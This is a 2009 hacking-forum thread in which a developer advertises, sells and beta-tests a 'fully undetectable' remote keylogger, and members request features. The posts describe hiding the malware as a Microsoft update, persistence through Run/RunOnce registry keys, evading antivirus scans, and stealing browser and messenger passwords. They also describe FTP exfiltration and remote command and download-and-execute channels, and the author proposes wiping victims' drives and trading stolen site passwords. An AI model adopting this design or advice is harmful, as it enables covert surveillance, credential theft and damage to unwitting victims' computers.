Thread: [Yoshistr FUD Keylogger: Advanced Remote Keylogger, File Downloader](#)

Yoshistr - April 27, 2009, 11:24 pm

Site: <http://yoshistr.com> - Yoshistr Productions

Software: Yoshistr Deluxe Keylogger

ETA of next update: June 25th, 2009

Features of next update:

- Firefox decrypt passwords integrated tool
- Log viewer (quick & efficient text viewer)
- Help page update
- & More (if you have a request please let us know)

Update Release (6/14/09)

Please visit the site: <http://yoshistr.com/> login with your Premium Member account, you can find the download details inside the thread located here:

Yoshistr Productions Forums > Yoshistr Productions Software > Yoshistr Deluxe Keylogger Forum > Yoshistr Deluxe Keylogger - Upgrades SubForum

If you login as a premium member you can go to the section directly by clicking this link:

<http://yoshistr.com/showthread.php?tid=12>

Update Notes (6/14/09):

- MSN stored password thief
- Trillian stored password thief
- Command.html file stabilized, allowing for dynamic command processing
- File Listing automatically sent to FTP server
- New Command.html / Command.txt file creator
- Can now use a Command.txt file instead of html
- New Insert Hashed Aim Passwords into Registry

Watch the video:

To read the help documentation file:

[Current Yoshistr Keylogger Documentation](#)

[Previous Yoshistr Keylogger Documentation](#)

Yoshistr Keylogger boasts the following feature set:

Â§ Takes screen shots at intervals defined by you and uploads them to your ftp server

Â§ Completely FUD, marked as "MicrosoftUpdate.exe" with company name as "Microsoft Corporation"

Â§ Hides in the process list, auto starts with Windows as a hidden file and hides all log files

Â§ Send logs & passwords via FTP at selected intervals defined by you

Â§ Bind any file type of your choice to the keylogger to have it open on first run. (binder included).

Â§ Select the file icon right from the program (Comes with a free image [jpg, gif, png, bmp, etc] converter to icon file type [ico])

Â§ Option to delete the exe file right after execution or have it replaced with the binded file, keeping the keylogger discrete from the user.

Â§ Sends you a text message or email the first time it is run directly to your cell phone [major cell phone carriers supported] so you know exactly when and which computer installed your program no matter where you are (No more wondering if the person actually ran the file or if you have logs coming to your ftp server)!

Â§ Steals Firefox stored passwords immediately on load

Â§ Steals stored AIM passwords

Â§ Remote shutoff feature allowing you to turn it off or on as you choose

Â§ Remote change upload rate feature letting you change the intervals it sends the logs to your server (even after it has been remotely installed)

Â§ Remote run command feature allowing you to run multiple commands through the command prompt (full access) with the output sent to your FTP server

Â§ Encrypted Log File on remote computer rather than plain text using a 9 character IV key with the resulting hash being salted (more secure).

Â§ Yoshistr Smart Backspace (Shows all typed keys but also lets you instantly remove all backspace characters from the logs with our Backspace remover tool - included).

Â§ Special turn off remote feature using the "TurnOffRemote=" command to turn off the keylogger until the command is removed.

Â§ Special FTP feature allowing the use of a remote "FTPU=" command to upload a specific file from the remote computer to the server (dynamic).

Â§ Special download feature allowing the use of a remote "FTPD=" command to download a file from the internet to the remote computer to a predetermined directory.

Â§ Special upload directory feature allowing the use of a remote "FTPUDir=" command to upload all files in a directory from the remote computer.

Â§ Special download & execute feature allowing the use of a remote "FTPExec=" command to download a exe file to a specific directory and then execute it on the remote computer.

Â§ More features are constantly being updated, if you are planning on purchasing the product or

have already and desire a specific feature please post it here so I can let you know if we can implement it in a future update.

Price(Standard) [Currently not being offered]: \$25 (USD) - Includes all the green colored features as well as help on how to setup everything.

Price(Deluxe): \$50 (USD) - Includes all the green colored features as well as the gold features, additionally you will get personal assistance from Yoshistr Productions and gain access to our Premium Member's help desk at <http://www.yoshistr.com> where we answer any questions you may have.

PM me now to get your keylogger or send a payment to bathtank@yahoo.com through paypal for the amount of the version you want to purchase as well as an email to bathtank@yahoo.com so we can set it up for you.

redpee - April 27, 2009, 11:28 pm

mmm I think i LOVE YOU :D thanks
(i hope I can use it as soon as posible.)

nob - April 27, 2009, 11:29 pm

i want a FUD keylogger can you make one for me? lol

MaryLamb - April 27, 2009, 11:30 pm

It should be hidden etc

Also when the logs are dropped in FTP, at the top of each log it should filter out potential passwords/username

Yoshistr - April 27, 2009, 11:35 pm

FUD - I'm trying to make it hidden but haven't uploaded it to any Virus scanner yet because I don't want it to get flagged and make it useless.

@exoblivione: finding out possible password/username combinations will be difficult because there is usually no way of knowing what is being typed, this is easier done after it is uploaded by a script you run to remove any dictionary words from the file, basically I can write a separate program which won't be installed on the target computer but you can use to remove dictionary words from the log file, which will leave everything else including passwords, etc but it will definitely be in a separate program upcoming.

MaryLamb - April 27, 2009, 11:38 pm

Couldn't it work like this

Logger writes keystrokes to a tempoary file

At every x minutes it searches the temp file and copies down emails and passes to passes.txt
Then the rest of the temp log is sent to ftp Or rather than directly FTP
It saves logs as txt on target computer where it can filter them

Evolution - April 27, 2009, 11:47 pm

Ill have one .. and with logs anyways i can always tell what is passwords and what is it not lol its easy enough to work out .. because people for one dont leave spaces in between there passwords its always a word say .. hackforums123 etc so you will no its for password no chance of screenshot feature

MaryLamb - April 27, 2009, 11:48 pm

He hasn't made it yet.....

Evolution - April 27, 2009, 11:53 pm

i no he hasnt made it yet lol ...

MaryLamb - April 27, 2009, 11:58 pm

Oh I didn't see feature after screenshot

Fuck my eyes

Evolution - April 28, 2009, 12:06 am

haha no problem .. screenshot feature would be cool only a few keyloggers seem to have it not many im quite a nosey person so id like to see there screen aswell as every key the press :P haha

Yoshistr - April 28, 2009, 12:12 am

@exoblivione: It would be fairly simple to sift the file for the "@" character then copy a few lines above and below the text to make sure the email and password are stored but it makes no sense to do this because it can be done post processing. Meaning after it has been uploaded it is a lot less CPU intensive to just run a program on your side to do this. Trust me, if it made sense I would definitely add this feature but a whole text file is still small like about 50kb at most before uploading so copying passwords over before uploading will only increase the chance that vital information is not passed over. It makes perfect sense to write a small piece of code which will remove common words from the file after you download the log from the FTP server then you will be left with less information to sift through.

@Hutchy: Some of it is already coded but I didn't want to reveal that yet, and yes it can and does take pictures every X seconds and uploads them via FTP with the logs, here is one such screen shot when run on my computer:

<http://yoshistr.net.au.net/Logs/MasterWUpd4.27.4.19.281.png> ... (Can't use hyperlink "http://something.com," where there is a comma at the end on a forum, Imao come on HackForums use a better parse method!) where the file name is "Master" or my computer username followed with "WUpd", short for WindowsUpdate which is the program's name "WindowsUpdate.exe", and "4.27.4.22.969" is "Month.Day.Hour.Minute.Millisecond" when the screenshot was taken, I know I didn't include the Seconds part but I can add that if it is really that important lol.

I don't have an example of an uploaded log file because I deleted them off the FTP server for obvious reasons and won't post it here :).

The thing is it can take screen shots at different time intervals compared to logs so it can take a picture every X minutes. I'm not sure if I want to send the logs separate from the images, but right now it sends it together. It also has an email feature to send an email to a GMail account but currently I disabled that feature because no point in having FTP and Email together for beta testing.

Thanks for the tips, keep them coming...

Evolution - April 28, 2009, 12:18 am

Looks good mate you should only give limited copies out because it will even up detected in couple of days stuff always does on here lol always people who scan with virus total or just leech and send it to all there mates then there mates end up scanning with virus total ..etc lol

Yoshistr - April 28, 2009, 12:21 am

That is what I was thinking too, how long will it remain FUD, since the last keylogger I wrote remained hidden for a few years and I was the only one who ever used it and never submitted it to

any antivirus software. (Unfortunately I lost the source code when my computer crashed a while back and it was a really powerful piece of programming, hoping to make something here to rival that)

I'm considering only distributing to active members here who have some +Rep or something and let them know not to upload to virus checkers.

Any Ideas Here?

-Oh yeah the screen shots are ~110Kb each to capture the whole screen, I can make it to capture only the active window when taken but I prefer to get the whole image to see what is also being run in the background. Obviously taking a screen shot every minute will create 60 PNG files totaling 6600Kbs or ~6.6Mbs which might be a problem uploading to a free FTP server or if the user has a slow 56Kb/s modem connection (you'd be surprised how many people still use dial-up).

walley - April 28, 2009, 12:43 am

I need one. I am waiting.

BlackStallion - April 28, 2009, 12:53 am

I recommend you making a builder for it - so the user can choose. No point of making something that only does ftp and has a specific interval.

Since you have to make a builder anyway, just give it some options:

FTP or Email

Interval

Startup method

Possible startup error message

Do that, and make sure the logs have the proper symbols in tact. No one likes a shitty log.

I make sure my logs are always well organized.

I did find it easier to make backspace "<" symbol. Works for me.

Make sure you have the window name as well - and i'm not sure if the "time" is important or not.

And i'm going to let you know now, if you're going to put a lot of time and effort into this, do NOT make it publically available. Its like throwing your time down the drain. Give it two weeks tops, and it'll be detected by a fair amount of AVs.

And not to mention Noobs like using virustotal when they shouldn't.

If you do something big like what i mentioned above, I suggest you sell it. Especially if its Fud.

Yoshistr - April 28, 2009, 1:07 am

I was thinking of actually distributing the source code, that way everyone can see what they are using and can modify the parts for themselves but a builder might definitely be a better option, don't have the time to do this part but I will look into it. You know of how to write a program in C# which will create an exe with the options specified in the GUI part? Hmmm wouldn't it need to be compiled or should I make it so it only shows the GUI on the first run, gets and stores the values inside as a resource, I was considering assigning a HotKey to show the GUI, that way the options can be edited

more easily and it will remain hidden on the target unless they press some weird key combination...hmm lol. Maybe I should have a hotkey which also checks if the user is the target or the hacker and only show the GUI part if it is the hacker maybe by having the hacker add a registry key manually to check against...

I don't like getting the window name because most of the time it is useless, yea it can be handy to know what program they are typing the text into but it will eat up the processor for little gain.

The logs will definitely be clear and easy to read, that part of the programming is very easy but I don't know if people want special keys to be added such as "F8" or "Ctrl", etc. I'm going to come up with an original solution for the backspace problem, I want to create text that will show what was typed so I'm thinking read the current active window and if it hasn't changed then actually remove the last character on press for backspace but then again it would take a lot of resources up.

As for selling it, I definitely will not charge anything for it but am considering only distributing it to select users, that way people won't submit it to antiviral programs.

BlackStallion - April 28, 2009, 1:12 am

I dont know how to in c#.

But a window is a must in my opinion. And its simple to do.....very simple.

But if someone types an email address and password.....the users are going ot need to know what login they just entered. Otherwise it'll be pointless.

Also, dont make it have a hot key. Make a builder for it.

Yoshistr - April 28, 2009, 1:28 am

I'm not sure I know what you mean by "builder", do you mean an application which will create an exe with specific code?

I'm highly considering having the hacker add their own registry key, I can write a simple batch script or registry key file to give to the hacker which they will run first to add a specific key to their registry before running the exe, then they run my exe and it checks the registry for that specific code and if it is there it does not activate the keylogger but shows a GUI with options for the hacker to edit, these values can then be stored as a resource in the exe, then when they send the exe to a remote computer it will have the correct options in the resource which the program loads but since there is no registry key on the remote computer the program will start the keylogger, etc.

Do you use builders with VB? C++? C? asm? delphi? python? I've heard of them and probably used them before but don't remember, ahh I feel old.

Mikleman - April 28, 2009, 3:00 am

OMG you're best ^^

I'd really like your job,pls make it!

Ah if it's dectable it isn't a problem for me :)

Dfox - April 28, 2009, 3:13 am

Your keylogger would be nice if it had these features:

Deletes Steam saved passwords

Deletes FF saved passwords

Delete all saved passwords on computer

51cent - April 28, 2009, 3:21 am

I WOOD LIKE TO TRY IT PLEEZE///

Mikleman - April 28, 2009, 3:23 am

fifty it's coming ^^

Yoshistr - April 28, 2009, 3:51 am

@Dfox: What is the point of deleted saved passwords, that would only increase the chance that the user will be alert that something is going on with their computer, yeah it will force them to type the password again but there are better ways to get stored passwords.

To get firefox's saved passwords what I will do is just copy the signons.txt file from the profile directory to the FTP server, this file can then be decrypted using the below DOS program:

<http://www.raymond.cc/blog/archives/2007/07/11/how-to-find-hidden-passwords-in-firefox/>

This will only work with managed passwords, automatic logging in with cookies will be a different matter, of course I can clear out all firefox and IE cookies if I wanted but that is suspicious to a lot of users...

djdandew - April 28, 2009, 4:03 am

I would deffo be interested in your keylogger mate, i would like it to be able to identify the website name the user is typing the password for, and i think a custom simple builder for the hacker is a good idea. good look and keep us posted

zietda - April 28, 2009, 4:05 am

(Apr 28, 2009 03:13 AM)Dfox Wrote: [\[CITE\]](#) Your keylogger would be nice if it had these features:

Why the hell u wanna delete saved passwords???

Dfox - April 28, 2009, 4:09 am

(Apr 28, 2009 04:05 AM)zietda Wrote: [\[CITE\]](#) Why the hell u wanna delete saved passwords???

If the passwords are deleted then they'll have to retype it.

Just a suggestion.

Glock Phobia - April 28, 2009, 4:12 am

-Send Email of Logs? *no need for me

-Send FTP? *yes

-Keep Logs with special characters such as <Ctrl> or <Tab> or just regular text? *just text is ok

-Hide in the process list? *yes

-Hide in the registry & system32 or other folder? (Autostart) *moss deff

-How often should the logs be sent? *5 min or user adjustable

Special Features:

-Get Firefox form entries (powerful - may contain credit card info, passwords, security questions, names, addresses, etc..), Only if Firefox is installed/used *yes

If u make such a logger and its free and working I will give rep+ and will tell anyone how cool u are :)

zietda - April 28, 2009, 4:25 am

-Send Email of Logs? *ftp is better

-Send FTP? *yes

-Keep Logs with special characters such as <Ctrl> or <Tab> or just regular text? *text only

-Hide in the process list? *yes

- Hide in the registry & system32 or other folder? (Autostart) *ya
- How often should the logs be sent? *30 min otherwise it's to many

Special Features:

- Get Firefox form entries (powerful - may contain credit card info, passwords, security questions, names, addresses, etc..),
- Only if Firefox is installed/used *yes ?

LabTech - April 28, 2009, 4:40 am

hehehe...wow tnx can you share it to me...hehehe

Mikleman - April 28, 2009, 5:04 am

- Send Email of Logs? *ftp rulez but it's not bad
- Send FTP? *yes
- Keep Logs with special characters such as <Ctrl> or <Tab> or just regular text? *special
- Hide in the process list? *yes of course ^^
- Hide in the registry & system32 or other folder? (Autostart) *of course
- How often should the logs be sent? *10 min

Special Features:

- Get Firefox form entries (powerful - may contain credit card info, passwords, security questions, names, addresses, etc..),
- Only if Firefox is installed/used *of course

look this:

- Self destruct in a determinate data
- Show the programm or the website the victim are looking
- Auto-update (mmh... i don't know if this is possible for free xD)

washburn214 - April 28, 2009, 5:13 am

Sir can i have one??? im here waiting..thanks

Next-1 - April 28, 2009, 5:17 am

ok guys, looks cool.

let me know when it will be done.

nice job.

Yoshistr - April 28, 2009, 5:28 am

I definitely will NOT be making a builder for the program because it can easily be redistributed and be caught by AVs and then I will have to make registration code, etc and that will just be a headache for me.

It is much easier for me to get PMs from users who are qualified to be trusted with their FTP info (create a free account) and to just edit a few lines of code then send them the executable.

A lot of the coding is actually done, here is what it can do so far:

- Send Email
- Send FTP
- Keep logs with special characters (will be edited so it's easier to read)
- Takes screenshots & uploads them via FTP at set intervals (probably one screen shot every 15 to 30 minutes)
- Hide in Windows Task Manager list

- Hide in registry & system32 folder with a common name so it won't easily be detected
- Logs will probably be sent every 30 to 60 minutes, it makes no sense to send every 5 minutes because that would create 12 log files every hour on the FTP server, not to mention it would slow down their internet for no reason & there might not even be any typed keys.

Features that will definitely be added in due time:

- Firefox thief (Steals form entries, search history, STORED PASSWORDS, etc...)
- Better AutoRun feature so it is less detectable
- Delete Cookies forcing user to login again (might be added when Firefox is forced to close...)

- Copy saved encrypted password files in AIM, MSN, etc? ...Maybe this will require some tricky coding but possible

Right now for AIM I can simply add a few lines of code to steal vital information which can then be decrypted into a password later

MSN seems plausible but a little difficult requiring API calls to get the credential
(More details on this later...not even sure if I will implement them)

This program will only be available for download to trusted members, I'm not sure what this entails but probably a number of Positive Reputations/Posts, etc to qualify.

Next-1 - April 28, 2009, 5:36 am

Sounds like a plan.

Can't wait till you release it.

Cheerz in advance ?

HaCkEdNCraCkEd - April 28, 2009, 6:27 pm

Can't wait til this is released, definately a nice thing to bind to my UD RATS

MC' - April 28, 2009, 6:29 pm

I haven't read pages 2-4, just 1, so sorry if this has been mentioned

Definitely monitor the clipboard and active window. If you know API functions (which you should, since you need to log keys), its dumb easy to do

I have experience programming a keylogger in .NET and sending it to victims, reading logs, and trust me, keystrokes are incoherent and meaningless if you don't know where theyre being typed

Also, reading a ton of special characters gets annoying. But they could be helpful, and it can't hurt to include them. you should have a key for special characters, like [B] = backspace, [C] = control, etc, make it short

Definitely get firefox entries, if you can. And also clear temporary internet files and stuff so the victim has to retype passwords. I wish I did this for my logger, but remember to only do it on the first run, maybe after it installs

one last note, if you're programming it in C#, and it does a few fancy things, it will use a lot of memory. I'm trying to learn c++ so I can make a more efficient keylogger

HTH

Yoshistr - April 28, 2009, 7:35 pm

Okay I just finished coding the firefox stealer which will steal form history files and stored password files to be decrypted later by the hacker. I will be editing Firefox's settings to auto-enable save passwords, so every time they enter a password it will save it for them and they won't even know lol, then the program will access the stored password files and send them to a FTP server.

Another thing is when the program is shut off it will automatically restart itself, assuming somehow it is closed or crashes.

-AIM password thief will definitely be added, MSN one might also be included, Yahoo is impossible because it is encrypted in a hash.

@Mcem: Yes it is resource intensive but I am making sure I dispose of any unused elements or streams to free up the memory as soon as possible. The thing is most of the time it will only be logging keys, but at various intervals it will do other things that way most of the time the user will not notice much if any difference. I can monitor the clipboard and active window but a lot of current keyloggers already do this so I will add it much later, right now I'm trying to make mine interesting by stealing Firefox information, pictures from the user, and am even considering scanning their hard drive for vital information then send it over followed by reformatting their hard drive so most users won't know what happened and assume their computer just crashed...yes I am evil.

nob - April 28, 2009, 9:24 pm

Yahoo is impossible because it is encrypted in a hash.

???then i cant use it lol? all i want to hack is yahoo passwords...

Yoshistr - April 28, 2009, 9:53 pm

It can still log keys, so if the user goes to a yahoo website and logs in then you will still get their key, but I can't directly steal it from Yahoo Messenger like with AIM or MSN. Requires less waiting because the passwords are already stored.

umeysh - April 28, 2009, 10:15 pm

me too yaar.....

hurmony - April 28, 2009, 10:17 pm

The program has only recently been in the coding stage for the past week or so and therefore uses Windows Hooks to capture keys, I'm considering switching it over to GetAsyncKeyState which is a little less detectable or even to a keyboard driver keylogger which is virtually undetectable by all AVs if I have that much time (highly doubt it). It is being coded in C# so the end user must have the .Net Framework installed. Also it will copy and send over Firefox saved passwords, firefox saved form entries, Aim password hash codes (to be added soon - if AIM is installed), MSN passwords (to be added soon - if MSN is installed), so even if the keylogger is detected and deleted before that happens it will still send over a lot of vital information :).

@nem41: It already has an autocopy to the system32 folder and an autorun registry key, it makes no sense to infest all the drives or a bunch of folders because it is not a virus but a keylogger and infesting mutiple drives will only increase the chance an AV might find it or it might be marked as suspicious.

@Jambo: The exe file gets uploaded to the server to be checked, inside the file there are markers such as file size, name, API functions being called, etc that can be then sent to Antivirus companies to add on their blacklist and therefore will cause detections.

paloalto00 - April 29, 2009, 6:43 pm

Have it run on startup? I noticed when people turn off their computers my keylogger stops -.- lol

Yoshistr - April 29, 2009, 6:49 pm

Already included, it will start when windows loads via a registry key in the Run location, I'm considering switching over to the registry key in RunOnce instead and when the program loads to write a new registry key there after windows deletes it. This will make it less detectable but also may make it stop loading if it is unable to write the key after it was deleted.

Let me know what you guys prefer here, more hidden or a greater chance to load.

paloalto00 - April 29, 2009, 6:52 pm

(Apr 29, 2009 06:49 PM)Yoshistr Wrote: [\[CITE\]](#) Already included, it will start when windows loads via a registry key in the Run location, I'm considering switching over to the registry key in RunOnce instead and when the program loads to write a new registry key there after windows deletes it. Hmmm, I would say maybe a better chance to load. Cause if you think about it. You can always hide it with a crypter

Lounge - April 29, 2009, 6:53 pm

Can i please have one? I know im only +1rep but i've been here since december! Also im quickly nearing 100+ posts. Im loyal!

Zammyslave - April 29, 2009, 6:53 pm

Requests Haven't worked with you though, how would that be done?

Yoshistr - April 29, 2009, 7:30 pm

@paloalto01: Yes you can hide it with a crypter but it will still show up in msconfig tool because it is in the startup registry key, I'm thinking use runonce instead because it will almost always be able to just rewrite the key and msconfig doesn't detect this key but I'm not sure if it will run in safemode and then not write the key. Basically it needs to run which will automatically delete the key since it is

in runonce and once it starts it should write to the runonce key again that way when windows is rebooted it will run once more, etc.

I still haven't decided yet who I want to distribute it to, but I'm still coding so I'll keep you guys updated.

@Zammyslave: You can try to help write the program with me if you use C# or make great suggestions on how to capture keys using C# and if I use your code or great suggestion you will definitely get a copy. Also you seem like a trusted member so I'm sure either way you can request a copy.

Zammyslave - April 29, 2009, 7:45 pm

(Apr 29, 2009 07:30 PM)Yoshistr Wrote: [\[CITE\]](#) @Zammyslave: You can try to help write the program with me if you use C# or make great suggestions on how to capture keys using C# and if I use your code or great suggestion you will definitely get a copy. Ohhh, that's what you meant by "hide" lol. Then hmmm, each one is important. I'm not a programmer or coder so I can't really say much haha

gurlwonder - April 29, 2009, 9:19 pm

i'm interested in getting this. can you help me out. i am very trustworthy..i know saying that means

literally close to nothing but i am

Yoshistr - April 29, 2009, 10:40 pm

Beta Testers WANTED *****

Please Read Requirements below FIRST...

If you would like to beta test this program please PM me with your email address or contact information. If you know C# I can send you the source code and you can make suggestions from there, if not you can try running the program to see how it works for you then make suggestions or report bugs. When you PM me you will receive a download link to the program, details on what exactly it does & an administrator file so you can put in your own settings. Basically if you help out by making some good suggestions and reporting bugs you will get a copy of the final release, plus you can feel free to use the beta program if you like.

Requirements to beta test the keylogger:

A combination of any of the following totaling up to 1000 points:

- Every HF post you have made so far counts as 2 points
- Every month since your join date to HackForums counts as 30 points
- Every +Reputation in your account counts as 100 points
- If you +Rep me, it counts as 200 points
- HF L33T Membership counts as 300 points

DO NOT SPAM THE FORUMS TO GET MORE PTS I WILL CHECK YOUR POST HISTORY!

So if I have 100 posts, I get 200 points right there, and if I was a member for 4 months so far I would get another 120 points, if I had 4 +Reputations for my account I would get 400 more points, if I then +Rep Yoshistr I would get 200 more points and if I had HF L33T Membership I would get 300 more points:

100 posts @ 2pts each = 200 pts

4 months @ 30 pts each = 120 pts

4 +Reps @ 100 pts each = 400 pts

+Rep Yoshistr @ 200 pts for being nice = 200 pts

HF L33T Member @ 300 pts = 300 pts

Total Pts = 1220 pts which is over 1000 and you would qualify for beta testing and source code after you PM me making sure you don't distribute the code or program and that you don't upload it to AV checkers (ANY ONLINE CHECKER! USE OFFLINE AV PROGRAMS IF YOU WANT TO CHECK)

I RESERVE THE RIGHT TO DECLINE ANY REQUEST AT MY DISCRETION

That's it for now, keep the suggestions coming and please do not PM me with a request to beta test if you do not meet the above criteria.

Regards

-Yoshistr

farooq - April 29, 2009, 11:22 pm

Thanks I Really Like It Can U Make For Me :.)

You musnt of read his post you come no where close to the requiments LOL!

iwanbehacker - April 30, 2009, 2:55 am

if u pm me, i can giv u the ftp details, i wud like 1 pleasee

HsiX - April 30, 2009, 3:25 am

Hell yea i have 1060 points

BIG_BOSS - April 30, 2009, 3:26 am

THANKKSSSS I WILL WAIT FOR THIS

Dark Lord - April 30, 2009, 3:29 am

it looks cool >.<" iwant to be a beta tester but i don't have that much of points >.<"

Cool_Rishabh - April 30, 2009, 3:29 am

can i have one plzzzzzzzz?
thnx

Dfox - April 30, 2009, 3:38 am

I PM'ed you.

I have enough points to beta test.

Hope you accept.

Yoshistr - April 30, 2009, 7:30 am

@Dfox: Here is your point rundown,
181 Posts @ 2pts each = 362 pts
4 +Reps @ 100 pts each = 400 pts
4 Months since registration = 120 pts
Total pts: 882 pts

Vebedot - April 30, 2009, 9:15 am

Im not interested in testing it out, just wanted to tell you,
anyone can buy HF L33T, even the rippers/skiddies/whatever.

?

Strife - April 30, 2009, 9:18 am

I'd really be happy if you can add file manager :cry:

Yoshistr - April 30, 2009, 3:40 pm

@Vebedot: I know that but it is only 300/1000 points so they still would have to do a lot more work to get it, not to mention I stated that I reserve the right to decline anyone if I choose to do so but thanks for the heads up.

@Strife: What do you mean by add a file manager?

Evolution - April 30, 2009, 3:43 pm

i think hes on about a file manager which you can access there files you would not find these on keyloggers that is a feature that is on most RATS keyloggers

Yoshistr - April 30, 2009, 6:29 pm

How would that work exactly, I believe he wants to set up a client/server type program which is a trojan and not a keylogger. I can write a trojan but I am writing a keylogger here...

The Beta Mode is ready for distribution to qualified members, please PM me and I will reply with the details if you qualify.

Current Beta Testers so far:

-Hutchy

...

HaCkEdNCraCkEd - April 30, 2009, 6:32 pm

PMed you bro, hit me up!!!!

Popc0rn! - April 30, 2009, 6:50 pm

ill take one ;)

paloalto00 - April 30, 2009, 7:14 pm

(Apr 30, 2009 06:29 PM)Yoshistr Wrote: [CITE](#) How would that work exactly, I believe he wants to set up a client/server type program which is a trojan and not a keylogger. I can write a trojan but I am writing a keylogger here...

...

I wouldn't mind testing it :/ I do have a FUD encrypter and such. So it won't be found in a scan either ways

Psyk™ - April 30, 2009, 7:43 pm

I only have like 300 points =\

hurmony - April 30, 2009, 7:48 pm

This will become detected fast, if its free ;_;

But nice work, and I would like to beta test.

RayBaker - April 30, 2009, 7:56 pm

PM when you get it up and running. I am very curious

Yoshistr - April 30, 2009, 9:49 pm

There are currently two beta testers for this program right now:

-Hutchy

-HackedNCRacked

Still looking for more beta testers as well as feature requests...anyone interested send me a PM message (If you have under 1000 pts - see main post for the point break down, you can offer to trade me something for full access to the program and future updates. I'm still looking for

RealityKings.com and Bangbros.com passwords as well as anything else you have to offer for trade.)

If you give me something via trade you can make one special request for your version of the keylogger and I will code it for you that way.

Regards,
Yoshistr

Cool_Rishabh - April 30, 2009, 9:52 pm

can i plz get one???

devil0angel - May 1, 2009, 12:51 am

I think I have enough points for a beta version, I would like to help you test it..

Yoshistr - May 1, 2009, 2:42 pm

There are currently three beta testers for this program right now:

- Hutchy
- HackedNCRacked
- devil0angel

As of yet I have not received any reports back on how the program works, or any ideas on how to improve them so still looking for more beta testers.

Even if you don't have 1000 points please PM me with a request and if you are a trusted member then I will send you the info to beta test.

Thanks everyone for the help!

Hybrid Hacker - May 1, 2009, 6:19 pm

Can I beta test this? I believe I have 3000 points.

Bloodfold - May 1, 2009, 7:36 pm

I would like a remote keylogger, that sends logs to my email once every 4 hours.

Think you could make me one?

Revelation - May 1, 2009, 7:44 pm

I would like to be a beta tester

I have 3390 points xD I know some c# and I am still learning it

Yoshistr - May 1, 2009, 7:55 pm

Feature update:

Just added some code to steal saved AIM password hashes which can then be decrypted using Reactive Software's Aim Recovery Tool or can allow logging in to Aim without knowing the text password (just the encrypted one).

We currently have 4 Beta Testers on this project and still would like more.

- Hutchy
- HackedNCRacked
- devil0angel
- Revelation

So far I have not received any reports from my beta testers :P ...Naturally... but if anyone would like additional features added please add your requests in, the next thing I will be adding in better log files (easier to read text, maybe special character codes in a separate file and have both files uploaded, smaller picture file sizes [right now they vary from 100kb upwards of 1.5 MB which is way too big]).

So let us know what other features you would like!

@Bloodfold: You don't have enough points (1000) to currently download it but the features you requested are already a part of the program and can easily be modified to suit your needs should you have the points later on.

@Revelation: I sent you a PM with the details.

Revelation - May 1, 2009, 8:31 pm

builder does not open -.-

Yoshistr - May 1, 2009, 8:34 pm

Been having a problem lately where the administrator panel won't open, I believe I fixed this issue so please recheck the download link I gave you (don't post the link here) and download it again and load adminaccess.reg into the registry then load the exe file.

Yoshistr - May 1, 2009, 9:57 pm

This post was removed due to security reasons.

babnoob1 - May 1, 2009, 11:17 pm

i want small kb, fud, send via email, stores in .txt, simple...

Yoshistr - May 2, 2009, 12:51 am

To all the debuggers/beta testers please read the following instructions!!!:

- Download the package at the link provided (do not share the link with anyone)
- Unzip the package to your desktop
- Double click adminaccess.reg to load your admin rights into the registry, click okay if any messages appear
- Now you can load up the exe file [NOTE: There is no builder for this program, meaning that one exe file contains everything you need, when you load the adminaccess file you are telling the program you are an administrator so it loads the right module. Please read on...]
- On the first run it will take 5-10 seconds to show a form up labeled "Administrative Options", the lag should happen only the first time when the program is setting itself up. On this form here is what you need to input..

-FTP Host, FTP Username, FTP password, FTP upload rate in milliseconds, Screen capture rate in milliseconds.

The first three you should know what goes in there from your FTP settings on your host control panel.

For FTP upload rate you enter how often it should upload the files to the FTP server, Screen capture is how often it should take a screen shot of the screen and save the image to be sent via FTP later on. The default values are set to FTP Upload Rate = 1800000 milliseconds (30 minutes) and Screen Capture = 900000 milliseconds (15 minutes), please don't set the screen capture rate any smaller than this value because the image files will start taking up a lot of bandwidth to upload to your ftp server.

-Okay now that your settings are there, you should click on File->Save and Exit, what this does is

store your values inside the exe file. Okay now the keylogger is ready to be sent to anyone you want.

-The keylogger wont work on your computer because you are set as an admin, to remove your admin rights just load the debug.reg file included, this will make you appear as the person who is to be hacked now and if you run the exe nothing will show up but everything will be logged.

Here is where logs and stuff are at:

C:\WINDOWS\

will contain files WUpd... png and winupdate.txt, each of the png files are the screen captures, the txt is the log.

C:\WINDOWS\system32\

hidden location program copies itself to and runs on startup

using the registry key under Microsoft\Current Version\Run\MicrosoftUpdate\

If you have a question please post it on the thread rather than PMing me because I'm sure others might want to know also.

Do not post links to the file anywhere! Thanks!

JackH - May 2, 2009, 1:09 am

Im testing this Keylogger.

It seems quite good.

Got a built in FF password stealer aswell.

helpmailing.o3 - May 2, 2009, 1:26 am

I want Logs,keylogger.

Yoshistr - May 2, 2009, 1:38 am

An upcoming update of this keylogger will contain an advanced feature not used by most keyloggers!

It will allow you to specify a text file on an ftp server using the address ie:

<ftp://yoursite.com/Log/settings.txt>

which will be automatically loaded by the program and will be parsed for values to be used as variables.

For example you may use this in the settings.txt file:

Code FTPHost=ftp://yoursite2.com/Log/

FTPURate=900000

FTPUsername=user123

FTPpassword=pass123

runCommand=ipconfigAnd the program will read the txt file from your server and load the settings into the program so the next time it runs it uses the new settings, I'm considering adding the runCommand option which will allow you to run commands on the remote computer simply by adding it to your txt file. This will be really interesting because it can eventually be shifted into a semi trojan type project. The result of the command will be included in the next log file sent to you so you can send the command for ipconfig, have the output of the command read and written to the log file and sent to your ftp server, you can then go on to your ftp site read the results of the command, and decide to send a different command. For example you can send the command "dir" and it will return the current directory and sub directories. Then you can decide you want to delete a specific file on the remote computer so you can type in runCommand=del C:\somefile.exe and it will delete that file

off the remote computer and send you the log file (I'm considering sending the log right after the command was executed so you can quickly see what occurred and send a different command.
Of course all this will take a lot of time to actually put into code, etc. so it won't be released for some time so hold yer horses.

If you guys can suggest some interesting features like the one above feel free to post it, also what do you think of adding this new feature of being able to run commands on the remote host or even opening programs without them knowing it. I can even have it download another exe file off your ftp site and execute that code...lmao alright this project is getting out of hand.

-Yoshistr

R00T-SNIFFER - May 2, 2009, 1:41 am

Please support gmail email and some options for how often the logs are sent (in minutes, hours, days) would be brilliant ?

ubbelol - May 2, 2009, 1:42 am

If you need any help with email + screenshot support, i'll help you. :)

Yoshistr - May 2, 2009, 2:16 am

IMPORTANT:Update for all beta testers...

Do NOT use the program until the next update!!!

Do not distribute the original file sent to you, there is a programming error which will cause the program to crash and no logs will be sent. Also there is a problem with the FTP server being sent to, so please do not distribute the file to anyone.

Thanks and I apologize for the inconvenience,
Yoshistr

@R00T-Sniffer: It already has gmail support but I have it disabled because everyone said they just need FTP, options to send at time intervals you want is already supported also.

